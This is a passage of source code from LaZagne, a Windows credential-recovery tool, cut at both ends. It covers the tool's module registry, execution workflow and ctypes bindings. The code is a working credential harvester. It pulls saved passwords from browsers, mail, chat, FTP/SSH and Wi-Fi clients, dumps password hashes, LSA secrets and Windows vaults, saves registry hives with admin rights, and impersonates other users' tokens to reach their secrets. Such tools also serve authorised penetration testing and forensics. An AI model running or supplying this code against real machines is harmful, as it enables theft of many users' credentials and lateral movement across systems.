elif type == 'ulong': s = 'L' l = 4 elif type == 'float': s = 'f' l = 4 elif type == 'double': s = 'd' l = 8 else: raise TypeError('Unknown type %s' % type) return ('<' + s, l) def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'): """ function originally from pydbg, modified to display other types """ dump = prefix slice = '' if ftype != 'bytes': structtype, structlen = type_unpack(ftype) for i in range(0, len(data), structlen): if addr % 16 == 0: dump += ' ' for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += '.' dump += '\n%s%08X: ' % (prefix, addr) slice = '' tmpval = 'NaN' try: packedval = data[i:i + structlen] tmpval = struct.unpack(structtype, packedval)[0] except Exception as e: print(e) if tmpval == 'NaN': dump += '{:<15} '.format(tmpval) elif ftype == 'float': dump += '{:<15.4f} '.format(tmpval) else: dump += '{:<15} '.format(tmpval) addr += structlen else: for byte in data: if addr % 16 == 0: dump += ' ' for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += '.' dump += '\n%s%08X: ' % (prefix, addr) slice = '' dump += '%02X ' % byte slice += chr(byte) addr += 1 remainder = addr % 16 if remainder != 0: dump += ' ' * (16 - remainder) + ' ' for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += '.' return dump + '\n' ================================================ FILE: Windows/lazagne/config/lib/memorpy/version.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- version=(1,7) version_string="%s.%s"%version ================================================ FILE: Windows/lazagne/config/lib/memorpy/wintools.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from ctypes import windll import time def start_winforeground_daemon(): import threading t=threading.Thread(target=window_foreground_loop) t.daemon=True t.start() def window_foreground_loop(timeout=20): """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ hwnd = windll.kernel32.GetConsoleWindow() HWND_TOPMOST = -1 SWP_NOMOVE = 2 SWP_NOSIZE = 1 while True: windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE) time.sleep(timeout) ================================================ FILE: Windows/lazagne/config/manage_modules.py ================================================ # Browsers from lazagne.config.soft_import_module import soft_import from lazagne.softwares.browsers.chromium_browsers import chromium_browsers from lazagne.softwares.browsers.firefox_browsers import firefox_browsers # mails from lazagne.softwares.mails.thunderbird_mails import thunderbird_mails def get_modules_names(): return [ ("lazagne.softwares.browsers.ie", "IE"), ("lazagne.softwares.browsers.ucbrowser", "UCBrowser"), # Chats ("lazagne.softwares.chats.pidgin", "Pidgin"), ("lazagne.softwares.chats.psi", "PSI"), ("lazagne.softwares.chats.skype", "Skype"), # Databases ("lazagne.softwares.databases.dbvis", "Dbvisualizer"), ("lazagne.softwares.databases.postgresql", "PostgreSQL"), ("lazagne.softwares.databases.robomongo", "Robomongo"), ("lazagne.softwares.databases.sqldeveloper", "SQLDeveloper"), ("lazagne.softwares.databases.squirrel", "Squirrel"), # Games ("lazagne.softwares.games.galconfusion", "GalconFusion"), ("lazagne.softwares.games.kalypsomedia", "KalypsoMedia"), ("lazagne.softwares.games.roguestale", "RoguesTale"), ("lazagne.softwares.games.turba", "Turba"), # Git ("lazagne.softwares.git.gitforwindows", "GitForWindows"), # Mails ("lazagne.softwares.mails.outlook", "Outlook"), # Maven ("lazagne.softwares.maven.mavenrepositories", "MavenRepositories"), # Memory ("lazagne.softwares.memory.keepass", "Keepass"), ("lazagne.softwares.memory.memorydump", "MemoryDump"), ("lazagne.softwares.memory.onepassword", "OnePassword"), # Multimedia ("lazagne.softwares.multimedia.eyecon", "EyeCON"), # Php ("lazagne.softwares.php.composer", "Composer"), # Svn ("lazagne.softwares.svn.tortoise", "Tortoise"), # Sysadmin ("lazagne.softwares.sysadmin.apachedirectorystudio", "ApacheDirectoryStudio"), ("lazagne.softwares.sysadmin.coreftp", "CoreFTP"), ("lazagne.softwares.sysadmin.cyberduck", "Cyberduck"), ("lazagne.softwares.sysadmin.filezilla", "Filezilla"), ("lazagne.softwares.sysadmin.filezillaserver", "FilezillaServer"), ("lazagne.softwares.sysadmin.ftpnavigator", "FtpNavigator"), ("lazagne.softwares.sysadmin.opensshforwindows", "OpenSSHForWindows"), ("lazagne.softwares.sysadmin.openvpn", "OpenVPN"), ("lazagne.softwares.sysadmin.iiscentralcertp", "IISCentralCertP"), ("lazagne.softwares.sysadmin.keepassconfig", "KeePassConfig"), ("lazagne.softwares.sysadmin.iisapppool", "IISAppPool"), ("lazagne.softwares.sysadmin.puttycm", "Puttycm"), ("lazagne.softwares.sysadmin.rclone", "Rclone"), ("lazagne.softwares.sysadmin.rdpmanager", "RDPManager"), ("lazagne.softwares.sysadmin.unattended", "Unattended"), ("lazagne.softwares.sysadmin.vnc", "Vnc"), ("lazagne.softwares.sysadmin.winscp", "WinSCP"), ("lazagne.softwares.sysadmin.wsl", "Wsl"), ("lazagne.softwares.sysadmin.mRemoteNG", "mRemoteNG"), # Wifi ("lazagne.softwares.wifi.wifi", "Wifi"), # Windows ("lazagne.softwares.windows.autologon", "Autologon"), ("lazagne.softwares.windows.cachedump", "Cachedump"), ("lazagne.softwares.windows.credman", "Credman"), ("lazagne.softwares.windows.credfiles", "CredFiles"), ("lazagne.softwares.windows.hashdump", "Hashdump"), ("lazagne.softwares.windows.ppypykatz", "Pypykatz"), ("lazagne.softwares.windows.lsa_secrets", "LSASecrets"), ("lazagne.softwares.windows.vault", "Vault"), ("lazagne.softwares.windows.vaultfiles", "VaultFiles"), ("lazagne.softwares.windows.windows", "WindowsPassword") ] def get_categories(): category = { 'browsers': {'help': 'Web browsers supported'}, 'chats': {'help': 'Chat clients supported'}, 'databases': {'help': 'SQL/NoSQL clients supported'}, 'games': {'help': 'Games etc.'}, 'git': {'help': 'GIT clients supported'}, 'mails': {'help': 'Email clients supported'}, 'maven': {'help': 'Maven java build tool'}, 'memory': {'help': 'Retrieve passwords from memory'}, 'multimedia': {'help': 'Multimedia applications, etc'}, 'php': {'help': 'PHP build tool'}, 'svn': {'help': 'SVN clients supported'}, 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, 'windows': {'help': 'Windows credentials (credential manager, etc.)'}, 'wifi': {'help': 'Wifi'}, 'unused': {'help': 'This modules could not be used because of broken dependence'} } return category def get_modules(): modules = [soft_import(package_name, module_name)() for package_name, module_name in get_modules_names()] return modules + chromium_browsers + firefox_browsers + thunderbird_mails ================================================ FILE: Windows/lazagne/config/module_info.py ================================================ """ name => Name of a class category => windows / browsers / etc options => dictionary - command - action - dest - help ex: ('-s', action='store_true', dest='skype', help='skype') - options['command'] = '-s' - options['action'] = 'store_true' - options['dest'] = 'skype' - options['help'] = 'skype' """ from lazagne.config.write_output import print_debug class ModuleInfo(object): def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False, system_module=False, dpapi_used=False, only_from_current_user=False): self.name = name self.category = category self.options = { 'command': '-{name}'.format(name=self.name), 'action': 'store_true', 'dest': self.name, 'help': '{name} passwords'.format(name=self.name) } self.suboptions = suboptions self.registry_used = registry_used self.system_module = system_module self.winapi_used = winapi_used self.dpapi_used = dpapi_used self.only_from_current_user = only_from_current_user def error(self, message): print_debug('ERROR', message) def info(self, message): print_debug('INFO', message) def debug(self, message): print_debug('DEBUG', message) def warning(self, message): print_debug('WARNING', message) ================================================ FILE: Windows/lazagne/config/run.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python import ctypes import logging import sys import traceback from lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle from lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi from lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved from lazagne.config.execute_cmd import save_hives, delete_hives from lazagne.config.write_output import print_debug, StandardOutput from lazagne.config.constant import constant from lazagne.config.manage_modules import get_categories, get_modules # Useful for the Pupy project # workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object sys.setrecursionlimit(10000) def create_module_dic(): if constant.modules_dic: return constant.modules_dic modules = {} # Define a dictionary for all modules for category in get_categories(): modules[category] = {} # Add all modules to the dictionary for m in get_modules(): modules[m.category][m.options['dest']] = m constant.modules_dic = modules return modules def run_module(title, module): """ Run only one module """ try: constant.st.title_info(title.capitalize()) # print title pwd_found = module.run() # run the module constant.st.print_output(title.capitalize(), pwd_found) # print the results # Return value - not used but needed yield True, title.capitalize(), pwd_found except Exception: error_message = traceback.format_exc() print_debug('DEBUG', error_message) yield False, title.capitalize(), error_message def run_modules(module, subcategories={}, system_module=False): """ Run modules inside a category (could be one or multiple modules) """ modules_to_launch = [] # Launch only a specific module for i in subcategories: if subcategories[i] and i in module: modules_to_launch.append(i) # Launch all modules if not modules_to_launch: modules_to_launch = module for i in modules_to_launch: # Only current user could access to HKCU registry or use some API that only can be run from the user environment if not constant.is_current_user: if module[i].registry_used or module[i].only_from_current_user: continue if system_module ^ module[i].system_module: continue if module[i].winapi_used: constant.module_to_exec_at_end['winapi'].append({ 'title': i, 'module': module[i], }) continue if module[i].dpapi_used: constant.module_to_exec_at_end['dpapi'].append({ 'title': i, 'module': module[i], }) continue # Run module for m in run_module(title=i, module=module[i]): yield m def run_category(category_selected, subcategories={}, system_module=False): constant.module_to_exec_at_end = { "winapi": [], "dpapi": [], } modules = create_module_dic() categories = [category_selected] if category_selected != 'all' else get_categories() for category in categories: for r in run_modules(modules[category], subcategories, system_module): yield r if not system_module: if constant.is_current_user: # Modules using Windows API (CryptUnprotectData) can be called from the current session for module in constant.module_to_exec_at_end.get('winapi', []): for m in run_module(title=module['title'], module=module['module']): yield m if constant.module_to_exec_at_end.get('dpapi', []): if are_masterkeys_retrieved(): for module in constant.module_to_exec_at_end.get('dpapi', []): for m in run_module(title=module['title'], module=module['module']): yield m else: if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []): if are_masterkeys_retrieved(): # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData for i in ['winapi', 'dpapi']: for module in constant.module_to_exec_at_end.get(i, []): for m in run_module(title=module['title'], module=module['module']): yield m def run_lazagne(category_selected='all', subcategories={}, password=None): """ Execution Workflow: - If admin: - Execute system modules to retrieve LSA Secrets and user passwords if possible - These secret could be useful for further decryption (e.g Wifi) - If a process of another user is launched try to impersone it (impersonating his token) - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques - From our user: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.) - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.) To resume: - Some passwords (e.g Firefox) could be retrieved from any other user - CryptUnprotectData can be called only from our current session - DPAPI Blob can decrypted only if we have the password or the hash of the user """ # Useful if this function is called from another tool if password: constant.user_password = password if not constant.st: constant.st = StandardOutput() # --------- Execute System modules --------- if ctypes.windll.shell32.IsUserAnAdmin() != 0: if save_hives(): # System modules (hashdump, lsa secrets, etc.) constant.username = 'SYSTEM' constant.finalResults = {'User': constant.username} constant.system_dpapi = SystemDpapi() if logging.getLogger().isEnabledFor(logging.INFO): constant.st.print_user(constant.username) yield 'User', constant.username try: for r in run_category(category_selected, subcategories, system_module=True): yield r except: # Catch all kind of exceptions pass finally: delete_hives() constant.stdout_result.append(constant.finalResults) # ------ Part used for user impersonation ------ constant.is_current_user = True constant.username = get_username_winapi() if not constant.username.endswith('$'): constant.finalResults = {'User': constant.username} constant.st.print_user(constant.username) yield 'User', constant.username set_env_variables(user=constant.username) for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults) # Check if admin to impersonate if ctypes.windll.shell32.IsUserAnAdmin() != 0: # --------- Impersonation using tokens --------- sids = list_sids() impersonate_users = {} impersonated_user = [constant.username] for sid in sids: # Not save the current user's SIDs and not impersonate system user if constant.username != sid[3] and sid[2] != 'S-1-5-18': impersonate_users.setdefault(sid[3], []).append(sid[2]) for user in impersonate_users: if 'service' in user.lower().strip(): continue # Do not impersonate the same user twice if user in impersonated_user: continue constant.st.print_user(user) yield 'User', user constant.finalResults = {'User': user} for sid in impersonate_users[user]: try: set_env_variables(user, to_impersonate=True) if impersonate_sid_long_handle(sid, close=False): impersonated_user.append(user) # Launch module wanted for r in run_category(category_selected, subcategories): yield r rev2self() constant.stdout_result.append(constant.finalResults) break except Exception: print_debug('DEBUG', traceback.format_exc()) # --------- Impersonation browsing file system --------- constant.is_current_user = False # Ready to check for all users remaining all_users = get_user_list_on_filesystem(impersonated_user=[constant.username]) for user in all_users: # Fix value by default for user environment (APPDATA and USERPROFILE) set_env_variables(user, to_impersonate=True) constant.st.print_user(user) constant.username = user constant.finalResults = {'User': user} yield 'User', user # Retrieve passwords that need high privileges for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults) ================================================ FILE: Windows/lazagne/config/soft_import_module.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from importlib import import_module from lazagne.config.module_info import ModuleInfo def soft_import(package_name, module_name): """ Imports module or return mock object which only print error """ try: module = import_module(package_name) return getattr(module, module_name) except ImportError as ex: # Emulate import ModuleInfo: return object (function) which generates objects of type ModuleInfo # This could be done with metaclasses, but now let's just keep it simple. def get_import_error_mock(module_name, exception): return lambda *args, **kwargs: _MOCK_ImportErrorInModule(module_name, exception) return get_import_error_mock(module_name, ex) class _MOCK_ImportErrorInModule(ModuleInfo): def __init__(self, name, exception): super(_MOCK_ImportErrorInModule, self).__init__(name, "unused") self.__message_to_print = "Module %s is not used due to unresolved dependence:\r\n%s" % (name, str(exception)) def run(self): self.error(self.__message_to_print) ================================================ FILE: Windows/lazagne/config/users.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python import os import ctypes import sys from lazagne.config.winstructure import get_os_version from lazagne.config.constant import constant def get_user_list_on_filesystem(impersonated_user=[]): """ Get user list to retrieve their passwords """ # Check users existing on the system (get only directories) user_path = u'{drive}:\\Users'.format(drive=constant.drive) if float(get_os_version()) < 6: user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive) all_users = [] if os.path.exists(user_path): all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))] # Remove default users for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']: if user in all_users: all_users.remove(user) # Removing user that have already been impersonated for imper_user in impersonated_user: if imper_user in all_users: all_users.remove(imper_user) return all_users def set_env_variables(user, to_impersonate=False): # Restore template path template_path = { 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', 'USERPROFILE': u'{drive}:\\Users\\{user}\\', 'HOMEDRIVE': u'{drive}:', 'HOMEPATH': u'{drive}:\\Users\\{user}', 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', } constant.profile = template_path if not to_impersonate: # Get value from environment variables for env in constant.profile: if os.environ.get(env): try: constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding()) except Exception: constant.profile[env] = os.environ.get(env) # Replace "drive" and "user" with the correct values for env in constant.profile: constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user) def get_username_winapi(): GetUserNameW = ctypes.windll.advapi32.GetUserNameW GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)] GetUserNameW.restype = ctypes.c_uint _buffer = ctypes.create_unicode_buffer(1) size = ctypes.c_uint(len(_buffer)) while not GetUserNameW(_buffer, ctypes.byref(size)): # WinError.h # define ERROR_INSUFFICIENT_BUFFER 122L // dderror if ctypes.GetLastError() == 122: _buffer = ctypes.create_unicode_buffer(len(_buffer)*2) size.value = len(_buffer) else: return os.getenv('username') # Unusual error return _buffer.value ================================================ FILE: Windows/lazagne/config/winstructure.py ================================================ # Vault Structure has been taken from mimikatz from ctypes.wintypes import * from ctypes import * import sys import os try: import _winreg as winreg except ImportError: import winreg LPTSTR = LPSTR LPCTSTR = LPSTR PHANDLE = POINTER(HANDLE) HANDLE = LPVOID LPDWORD = POINTER(DWORD) PVOID = c_void_p INVALID_HANDLE_VALUE = c_void_p(-1).value NTSTATUS = ULONG() PWSTR = c_wchar_p LPWSTR = c_wchar_p PBYTE = POINTER(BYTE) LPBYTE = POINTER(BYTE) PSID = PVOID LONG = c_long WORD = c_uint16 # #############################- Constants ############################## # Credential Manager CRYPTPROTECT_UI_FORBIDDEN = 0x01 CRED_TYPE_GENERIC = 0x1 CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4 # Regedit HKEY_CURRENT_USER = -2147483647 HKEY_LOCAL_MACHINE = -2147483646 KEY_READ = 131097 KEY_ENUMERATE_SUB_KEYS = 8 KEY_QUERY_VALUE = 1 # custom key to read registry (not from msdn) ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE # Token manipulation PROCESS_QUERY_INFORMATION = 0x0400 STANDARD_RIGHTS_REQUIRED = 0x000F0000 READ_CONTROL = 0x00020000 STANDARD_RIGHTS_READ = READ_CONTROL TOKEN_ASSIGN_PRIMARY = 0x0001 TOKEN_DUPLICATE = 0x0002 TOKEN_IMPERSONATE = 0x0004 TOKEN_QUERY = 0x0008 TOKEN_QUERY_SOURCE = 0x0010 TOKEN_ADJUST_PRIVILEGES = 0x0020 TOKEN_ADJUST_GROUPS = 0x0040 TOKEN_ADJUST_DEFAULT = 0x0080 TOKEN_ADJUST_SESSIONID = 0x0100 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) tokenprivs = ( TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | ( 131072 | 4)) TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID) SE_DEBUG_PRIVILEGE = 20 # ############################# Structures ############################## class CREDENTIAL_ATTRIBUTE(Structure): _fields_ = [ ('Keyword', LPSTR), ('Flags', DWORD), ('ValueSize', DWORD), ('Value', LPBYTE) ] PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE) class CREDENTIAL(Structure): _fields_ = [ ('Flags', DWORD), ('Type', DWORD), ('TargetName', LPSTR), ('Comment', LPSTR), ('LastWritten', FILETIME), ('CredentialBlobSize', DWORD), # ('CredentialBlob', POINTER(BYTE)), ('CredentialBlob', POINTER(c_char)), ('Persist', DWORD), ('AttributeCount', DWORD), ('Attributes', PCREDENTIAL_ATTRIBUTE), ('TargetAlias', LPSTR), ('UserName', LPSTR) ] PCREDENTIAL = POINTER(CREDENTIAL) class DATA_BLOB(Structure): _fields_ = [ ('cbData', DWORD), ('pbData', POINTER(c_char)) ] class GUID(Structure): _fields_ = [ ("data1", DWORD), ("data2", WORD), ("data3", WORD), ("data4", BYTE * 6) ] LPGUID = POINTER(GUID) class VAULT_CREDENTIAL_ATTRIBUTEW(Structure): _fields_ = [ ('keyword', LPWSTR), ('flags', DWORD), ('badAlign', DWORD), ('valueSize', DWORD), ('value', LPBYTE), ] PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW) class VAULT_BYTE_BUFFER(Structure): _fields_ = [ ('length', DWORD), ('value', PBYTE), ] class DATA(Structure): _fields_ = [ # ('boolean', BOOL), # ('short', SHORT), # ('unsignedShort', WORD), # ('int', LONG), # ('unsignedInt', ULONG), # ('double', DOUBLE), ('guid', GUID), ('string', LPWSTR), ('byteArray', VAULT_BYTE_BUFFER), ('protectedArray', VAULT_BYTE_BUFFER), ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW), # ('Sid', PSID) ('sid', DWORD) ] class Flag(Structure): _fields_ = [ ('0x00', DWORD), ('0x01', DWORD), ('0x02', DWORD), ('0x03', DWORD), ('0x04', DWORD), ('0x05', DWORD), ('0x06', DWORD), ('0x07', DWORD), ('0x08', DWORD), ('0x09', DWORD), ('0x0a', DWORD), ('0x0b', DWORD), ('0x0c', DWORD), ('0x0d', DWORD) ] class VAULT_ITEM_DATA(Structure): _fields_ = [ # ('schemaElementId', DWORD), # ('unk0', DWORD), # ('Type', DWORD), # ('unk1', DWORD), ('data', DATA), ] PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA) # From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L157 class VAULT_ITEM_WIN8(Structure): _fields_ = [ ('id', GUID), ('pName', PWSTR), ('pResource', PVAULT_ITEM_DATA), ('pUsername', PVAULT_ITEM_DATA), ('pPassword', PVAULT_ITEM_DATA), ('pPackageSid', PVAULT_ITEM_DATA), ('LastWritten', FILETIME), ('Flags', DWORD), ('cbProperties', DWORD), ('Properties', PVAULT_ITEM_DATA), ] PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8) # From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L145 class VAULT_ITEM_WIN7(Structure): _fields_ = [ ('id', GUID), ('pName', PWSTR), ('pResource', PVAULT_ITEM_DATA), ('pUsername', PVAULT_ITEM_DATA), ('pPassword', PVAULT_ITEM_DATA), ('LastWritten', FILETIME), ('Flags', DWORD), ('cbProperties', DWORD), ('Properties', PVAULT_ITEM_DATA), ] PVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7) class OSVERSIONINFOEXW(Structure): _fields_ = [ ('dwOSVersionInfoSize', c_ulong), ('dwMajorVersion', c_ulong), ('dwMinorVersion', c_ulong), ('dwBuildNumber', c_ulong), ('dwPlatformId', c_ulong), ('szCSDVersion', c_wchar * 128), ('wServicePackMajor', c_ushort), ('wServicePackMinor', c_ushort), ('wSuiteMask', c_ushort), ('wProductType', c_byte), ('wReserved', c_byte) ] class CRYPTPROTECT_PROMPTSTRUCT(Structure): _fields_ = [ ('cbSize', DWORD), ('dwPromptFlags', DWORD), ('hwndApp', HWND), ('szPrompt', LPCWSTR), ] PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT) class LUID(Structure): _fields_ = [ ("LowPart", DWORD), ("HighPart", LONG), ] PLUID = POINTER(LUID) class SID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Sid", PSID), ("Attributes", DWORD), ] class TOKEN_USER(Structure): _fields_ = [ ("User", SID_AND_ATTRIBUTES), ] class LUID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Luid", LUID), ("Attributes", DWORD), ] class TOKEN_PRIVILEGES(Structure): _fields_ = [ ("PrivilegeCount", DWORD), ("Privileges", LUID_AND_ATTRIBUTES), ] PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES) class SECURITY_ATTRIBUTES(Structure): _fields_ = [ ("nLength", DWORD), ("lpSecurityDescriptor", LPVOID), ("bInheritHandle", BOOL), ] PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES) class SID_NAME_USE(DWORD): _sid_types = dict(enumerate(''' User Group Domain Alias WellKnownGroup DeletedAccount Invalid Unknown Computer Label'''.split(), 1)) def __init__(self, value=None): if value is not None: if value not in self.sid_types: raise ValueError('invalid SID type') DWORD.__init__(value) def __str__(self): if self.value not in self._sid_types: raise ValueError('invalid SID type') return self._sid_types[self.value] def __repr__(self): return 'SID_NAME_USE(%s)' % self.value PSID_NAME_USE = POINTER(SID_NAME_USE) # ############################# Load dlls ############################## advapi32 = WinDLL('advapi32', use_last_error=True) crypt32 = WinDLL('crypt32', use_last_error=True) kernel32 = WinDLL('kernel32', use_last_error=True) psapi = WinDLL('psapi', use_last_error=True) ntdll = WinDLL('ntdll', use_last_error=True) # ############################# Functions ############################## RevertToSelf = advapi32.RevertToSelf RevertToSelf.restype = BOOL RevertToSelf.argtypes = [] ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser ImpersonateLoggedOnUser.restype = BOOL ImpersonateLoggedOnUser.argtypes = [HANDLE] DuplicateTokenEx = advapi32.DuplicateTokenEx DuplicateTokenEx.restype = BOOL DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)] AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges AdjustTokenPrivileges.restype = BOOL AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)] LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA LookupPrivilegeValueA.restype = BOOL LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID] ConvertSidToStringSid = advapi32.ConvertSidToStringSidW ConvertSidToStringSid.restype = BOOL ConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)] LookupAccountSid = advapi32.LookupAccountSidW LookupAccountSid.restype = BOOL LookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE] LocalAlloc = kernel32.LocalAlloc LocalAlloc.restype = HANDLE LocalAlloc.argtypes = [PSID, DWORD] GetTokenInformation = advapi32.GetTokenInformation GetTokenInformation.restype = BOOL GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)] OpenProcess = kernel32.OpenProcess OpenProcess.restype = HANDLE OpenProcess.argtypes = [DWORD, BOOL, DWORD] OpenProcessToken = advapi32.OpenProcessToken OpenProcessToken.restype = BOOL OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)] CloseHandle = kernel32.CloseHandle CloseHandle.restype = BOOL CloseHandle.argtypes = [HANDLE] CredEnumerate = advapi32.CredEnumerateA CredEnumerate.restype = BOOL CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))] CredFree = advapi32.CredFree CredFree.restype = PVOID CredFree.argtypes = [PVOID] LocalFree = kernel32.LocalFree LocalFree.restype = HANDLE LocalFree.argtypes = [HANDLE] CryptUnprotectData = crypt32.CryptUnprotectData CryptUnprotectData.restype = BOOL CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID, PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)] # these functions do not exist on XP workstations try: prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID)) vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli)) prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE) vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli)) prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p)) vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli)) prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN8)) vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli)) prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7)) vaultGetItem7 = prototype(("VaultGetItem", windll.vaultcli)) prototype = WINFUNCTYPE(ULONG, LPVOID) vaultFree = prototype(("VaultFree", windll.vaultcli)) prototype = WINFUNCTYPE(ULONG, PHANDLE) vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli)) def get_vault_objects_for_this_version_of_windows(): """ @return: Tuple[ Type of vault item, Pointer to type of vault item, VaultGetItem function as Callable[[vault_handle, vault_item_prt, password_vault_item_ptr], int] ] """ os_version_float = float(get_os_version()) if os_version_float == 6.1: # Windows 7 return ( VAULT_ITEM_WIN7, PVAULT_ITEM_WIN7, lambda hVault, pVaultItem, pPasswordVaultItem: vaultGetItem7(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername, None, 0, byref(pPasswordVaultItem)) ) elif os_version_float > 6.1: # Later than Windows7 return ( VAULT_ITEM_WIN8, PVAULT_ITEM_WIN8, lambda hVault, pVaultItem, pPasswordVaultItem: vaultGetItem8(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername, pVaultItem.pPackageSid, # additional parameter compared to Windows 7 None, 0, byref(pPasswordVaultItem)) ) raise Exception("Vault is not supported for this version of OS") except Exception: pass GetModuleFileNameEx = psapi.GetModuleFileNameExW GetModuleFileNameEx.restype = DWORD GetModuleFileNameEx.argtypes = [HANDLE, HMODULE, 